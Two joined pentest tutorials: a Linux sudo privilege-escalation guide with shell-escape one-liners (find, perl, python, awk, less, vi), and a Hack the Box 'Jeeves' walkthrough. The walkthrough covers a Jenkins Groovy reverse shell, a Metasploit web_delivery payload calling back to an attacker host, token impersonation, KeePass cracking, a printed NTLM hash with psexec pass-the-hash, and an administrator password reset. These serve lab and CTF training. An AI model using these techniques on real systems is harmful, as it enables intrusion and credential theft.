Linux Privilege Escalation using Exploiting Sudo Rights


In our previous articles, we have discussed Linux Privilege Escalation using SUID Binaries and /etc/passwd file and today we are posting another method of "Linux privilege Escalation using Sudoers file”. While solving CTF challenges, for privilege escalation we always check root permissions for any user to execute any file or command by executing sudo -l command. You can read our previous article where we had applied this trick for privilege escalation.

Let’s Start with Theoretical Concept!!

In Linux/Unix, a sudoers file inside /etc is the configuration file for sudo rights. We all know the power of sudo command, the word sudo represent Super User Do root privilege task. Sudoers file is that file where the users and groups with root privileges are stored to run some or all commands as root or another user. Take a look at the following image.




When you run any command along with sudo, it needs root privileges for execution, Linux checks that particular username within the sudoers file. And it concluded, that the particular username is in the list of sudoers file or not, if not then you cannot run the command or program using sudo command. As per sudo rights the root user can execute from ALL terminals, acting as ALL users: ALL group, and run ALL command.
Sudoer File Syntax

If you (root user) wish to grant sudo right to any particular user then type visudo command which will open the sudoers file for editing. Under “user privilege specification” you will observe default root permission “root ALL=(ALL:ALL) ALL" BUT in actual, there is Tag option also available which is optional, as explained below in the following image.
Consider the given example where we want to assign sudo rights for user:raaz to access the terminal and run copy command with root privilege. Here NOPASSWD tag that means no password will be requested for the user.

NOTE:
1.       (ALL:ALL) can also represent as (ALL) 
2.       If you found (root) in place of (ALL:ALL) then it denotes that user can run the command as root.
3.       If nothing is mention for user/group then it means sudo defaults to the root user.




Let’s Begin!!
Let’s get into deep through practical work. First, create a user which should be not the sudo group user. Here we have added user “raaz” who’s UID is 1002 and GID is 1002 and hence raaz is non-root user.




Traditional Method to assign Root Privilege 
If system administrator wants to give ALL permission to user raaz then he can follow below steps to add user raaz under User Privilege Specification category.

visudo
raaz ALL=(ALL:ALL) ALL
or
raaz ALL=(ALL) ALL




Spawn Root Access
On other hands start yours attacking machine and first compromise the target system and then move to privilege escalation phase. Suppose you successfully login into victim’s machine through ssh and want to know sudo rights for the current user then execute below command.
sudo -l
In the traditional method, PASSWD option is enabled for user authentication while executing above command and it can be disabled by using NOPASSWD tag. The highlighted text is indicating that current user is authorized to execute all command. Therefore we have obtained root access by executing the command.
sudo su
id




Default Method to assign Root Privilege 
If system administrator wants to give root permission to user raaz to execute all command and program then he can follow below steps to add user raaz under User Privilege Specification category.
visudo
raaz ALL=ALL
or
raaz ALL=(root) ALL

Here also Default PASSWD option is enabled for user authentication.




Spawn Root Access
Again compromise the target system and then move for privilege escalation stage as done above and execute below command to view sudo user list.
suod -l
Here you can perceive the highlighted text which is representative that the user raaz can run all command as root user. Therefore we can achieve root access by performing further down steps.
sudo su
or
sudo bash

Note: Above both methods will ask user’s password for authentication at the time of execution of sudo -l command because by Default PASSWD option is enabled.




Allow Root Privilege to Binary commands
Sometimes the user has the authorization to execute any file or command of a particular directory such as /bin/cp, /bin/cat or /usr/bin/ find, this type of permission lead to privilege escalation for root access and it can be implemented with help of following steps.
raaz ALL=(root) NOPASSWD: /usr/bin/find

NOTE: Here NOPASSWD tag that means no password will be requested for the user while running sudo -l command.




Spawn Root Access using Find Command
Again compromised the Victim’s system and then move for privilege escalation phase and execute below command to view sudo user list.
suod -l
At this point, you can notice the highlighted text is indicating that the user raaz can run any command through find command. Therefore we got root access by executing below commands.
sudo find /home -exec /bin/bash \;
id




Allow Root Privilege to Binary Programs
Sometimes admin assigns delicate authorities to a particular user to run binary programs which allow a user to edit any system files such as /etc/passwd and so on. There are certain binary programs which can lead to privilege escalation if authorized to a user. In given below command we have assign sudo rights to the following program which can be run as root user.
raaz ALL= (root) NOPASSWD: usr/bin/perl, /usr/bin/python, /usr/bin/less, /usr/bin/awk, /usr/bin/man, /usr/bin/vi




Spawn shell using Perl one-liner
At the time of privilege, escalation phase executes below command to view sudo user list.
suod -l
Now you can observe the highlighted text is showing that the user raaz can run Perl language program or script as root user. Therefore we got root access by executing Perl one-liner.
perl -e 'exec "/bin/bash";'
id




Spawn shell using Python one-liner
After compromising the target system and then move for privilege escalation phase as done above and execute below command to view sudo user list.
suod -l
At this point, you can perceive the highlighted text is indicating that the user raaz can run Python language program or script as root user. Thus we acquired root access by executing Python one-liner.
python -c 'import pty;pty.spawn("/bin/bash")'
id




Spawn shell using Less Command
For the privilege, escalation phase executes below command to view sudo user list.
suod -l
Here you can observe the highlighted text which is indicating that the user raaz can run less command as root user. Hence we obtained root access by executing following.
sudo less /etc/hosts




It will open requested system file for editing, BUT for spawning root shell type !bash as shown below and hit enter.




You will get root access as shown in the below image.




Spawn shell using AWK one-liner
After compromise, the target system then moves for privilege escalation phase as done above and execute below command to view sudo user list.
suod -l
At this phase, you can notice the highlighted text is representing that the user raaz can run AWK language program or script as root user. Therefore we obtained root access by executing AWK one-liner.
sudo awk 'BEGIN {system("/bin/bash")}'
id




Spawn shell using Man Command (Manual page)
For privilege escalation and execute below command to view sudo user list.
suod -l
Here you can observe the highlighted text is indicating that the user raaz can run man command as root user. Therefore we got root access by executing following.
sudo man man



It will be displaying Linux manual pages for editing, BUT for spawning root shell type !bash as presented below and hit enter, you get root access as done above using Less command.



Spawn shell using Vi-editor (Visual editor)
After compromising the target system and then move for privilege escalation phase as done above and execute below command to view sudo user list.
suod -l
Here you can observe the highlighted text which is indicating that user raaz can run vi command as root user. Consequently, we got root access by executing following.
sudo vi




Thus, It will open vi editors for editing, BUT for spawning root shell type !bash as shown below and hit enter, you get root access as done above using Less command.




You will get root access as shown in the below image.
id
whoami



NOTE: sudo permission for less, nano, man, vi and man is very dangerous as they allow user to edit system file and lead to Privilege Escalation. 




Allow Root Privilege to Shell Script

There are maximum chances to get any kind of script for the system or program call, it can be any script either Bash, PHP, Python or C language script. Suppose you (system admin) want to give sudo permission to any script which will provide bash shell on execution.
For example, we have some scripts which will provide root terminal on execution, in given below image you can observe that we have written 3 programs for obtaining bash shell by using different programing language and saved all three files: asroot.py, asroot.sh, asroot.c (compiled file shell) inside bin/script.

NOTE: While solving OSCP challenges you will find that some script is hidden by the author for exploit kernel or for root shell and set sudo permission to any particular user to execute that script.




Now allow raaz to run all above script as root user by editing sudoers file with the help of following command.
raaz ALL= (root) NOPASSWD: /bin/script/asroot.sh, /bin/script/asroot.py, /bin/script/shell




Spawn root shell by Executing Bash script
For the privilege, escalation phase executes below command to view sudo user list.
suod -l             
The highlighted text is indicating that the user raaz can run asroot.sh as root user. Therefore we got root access by running asroot.sh script.
sudo /bin/script/asroot.sh
id




Spawn root shell by Executing Python script
Execute below command for privilege escalation to view sudo user list.
suod -l
At this time the highlighted text is showing that user raaz can run asroot.py as root user. Therefore we acquired root access by executing following script.
sudo /bin/script/asroot.py
id




Spawn root shell by Executing C Language script
After compromising the target system and then move for privilege escalation and execute below command to view sudo user list.
suod -l
Here you can perceive the highlighted text is indicating that the user raaz can run shell (asroot.c complied file) as root user. So we obtained root access by executing following shell.
sudo /bin/script/shell
id

Today we have demonstrated the various method to spawn root terminal of victim’s machine if any user is a member of sudoers file and has root permission.

HAPPY HACKING!!!!


Hack the Box Challenge: Jeeves Walkthrough


Hello Friends!! Today we are going to solve another CTF Challenge “Jeeves”. This VM is also developed by Hack the Box, Jeeves is a Retired Lab and there are multiple ways to breach into this VM. In this lab, we have escalated root privilege in 3 different ways and for completing the challenge of this VM we took help from Tally (Hack the box).
Level: Medium
Task: Find the user.txt and root.txt in the vulnerable Lab.
Let’s Begin!!
As these labs are only available online, therefore, they have a static IP. Jeeves Lab has IP: 10.10.10.63.
Now, as always let’s begin our hacking with the port enumeration.
nmap -A 10.10.10.63
Looking around its result we found ports 22, 80, 135, 445 and 50000 are open, and moreover, port 135 and 445 was pointing towards Windows operating system.




Subsequently, first we checked web service and explored target IP in a web browser and it was put up by “Ask Jeeves search engine” webpage. So we try to search some website such as google.com and a new web page represented by the fake error page come up in front of us.




 On port 50000 in a Web browser give us to HTTP 404 Error page.




Then we decide to use OWASP Dirbuster for directory brute force attack.




From its result, we found so many directories but we drive with /askjeeves for further process.




So when we had explored 10.10.10.63:50000/askjeeves it lead us to “Jenkins Dashboard”. Ahhh!! It was WOW moment for us because we knew that there are so many methods to exploit Jenkins. Thus we move inside "Manage Jenkins" options as it was the spine and abusing it was quite soothing.




There were so many options but we were interested in Script Console because Jenkins has very nice Groovy script console that allows someone to execute arbitrary Groovy scripts within the Jenkins master runtime.




We found Java reverse shell from GitHub, so we copied the code and modified its localhost and port as per our specification.




Then we start Netcat listener and run above Groovy Script to access victim's reverse connection. From below image, you can observe that we access tty shell of victim’s machine.




As we love meterpreter shell therefore we load metasploit framework and execute below commands.
use exploit/multi/script/web_delivery
msf exploit(multi/script/web_delivery) > set target 2
msf exploit(multi/script/web_delivery) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/script/web_delivery) > set lhost 10.10.14.28
msf exploit(multi/script/web_delivery) > set srvhost 10.10.14.28
msf exploit(multi/script/web_delivery) > exploit

Copy the highlighted text for powershell.exe and Paste it inside CMD shell as shown in next image.




Paste above malicious code here in netcat.




You will get meterpreter session of victim’s machine in your Metasploit framework and after then finished the task by grabbing user.txt and root.txt file. Further type following:
getuid
But currently we don’t have NT AUTHORITY\SYSTEM permission. But we knew the techniques that we have used in Tally CTF for gaining NT AUTHORITY\SYSTEM permission.




Therefore taking help from our previous article “Tally” we executed below commands and successfully gained NT AUTHORITY\SYSTEM permission
upload /root/Desktop/RottenPotato/rottenpotato.exe .
load incognito
execute -Hc -f rottenpotato.exe
impersonate_token "NT AUTHORITY\\SYSTEM"
getuid




Let me tell you this, that we have solved so many CTF challenges of Hack the Box among them some was framed using Windows Operating system and we always grabbed the user.txt file from inside some a folder that owned by any username and root.txt form inside Administrator folder and both these folders are present inside C:\Users
Similarly, you can observe the same thing here also and might be you got my intention of above said words. So let’s grab user.txt file first from inside /kohsuke/Desktop.
COOL!!! We have captured the 1st flag.




Then we go for root.txt file, BUT it was a little bit tricky to get the root.txt file. Because the author has hide root.txt file by using some ADS technique (Windows Alternate Data Streams) and to grab that file, you can execute below commands.
cd Administrator
cd Desktop
ls-al
cat hm.txt
dir /R
more < hm.txt:root.txt




Hurray!! R flag with dir command discloses root.txt file and  We successfully completed the 2nd task.




2nd Method
When you have fresh meterpreter session 1 then move into /document directory and download CEH.kdbx file. Here also we took help from our previous article TALLY.




Now run the python script that extracts a HashCat/john crackable hash from KeePass 1.x/2.X databases.
python keepass2john.py CEH.kdbx > passkey
Next, we have used John the ripper for decrypting the content of “passkey” with help of the following command.
john --format=KeePass --wordlist=/usr/share/wordlists/rockyou.txt passkey
so we found the master key "moonshine1" for keepass2 which is an application used for hiding passwords of your system then you need to install it (keepass2) using the following command.
apt-get install keepass2 -y




After installing, run the below command and submit “moonshine1” in the field of the master key.
keepass2 tim.kdbx




Inside CEH we found so many credential, we copied all password from here and past into a text file and got few password and one NTLM hash value: aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00




use exploit/windows/smb/psexec
msf exploit(windows/smb/psexec) > set rhost 10.10.10.63
msf exploit(windows/smb/psexec) > set smbuser administrator
msf exploit(windows/smb/psexec) > set smbpass aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00
msf exploit(windows/smb/psexec) > set lport 8888
msf exploit(windows/smb/psexec) > exploit

Awesome!!! We have meterpreter session 2 with proper NT AUTHORITY\SYSTEM permission, now use above steps to get the root.txt file.
Note: we have rebooted the target’s VM before starting 2nd method.




At the time when you have fresh meterpreter session2 (via psexec) then execute the following command to enable remote desktop service in victim's machine.
run getgui -e
shell
Now we have victim’s command prompt with administrator privilege thus we can change User administrator password directly by using net user command.
net user administrator 123




Now open a new terminal in your Kali Linux and type rdesktop 10.10.10.63 command to access remote desktop services of victim’s machine and after that submit credential administrator: 123 for login.
BOOOOOM!!! Look at the screen of our victim, now let’s grab the root flag and enjoy this GUI mode.




Finding user.txt is quite easy you can try by your own. To grab root.txt flag open the CMD prompt and type following command ad done above.
dir /R
more < hm.txt:root.txt

Enjoy Hacking!!!!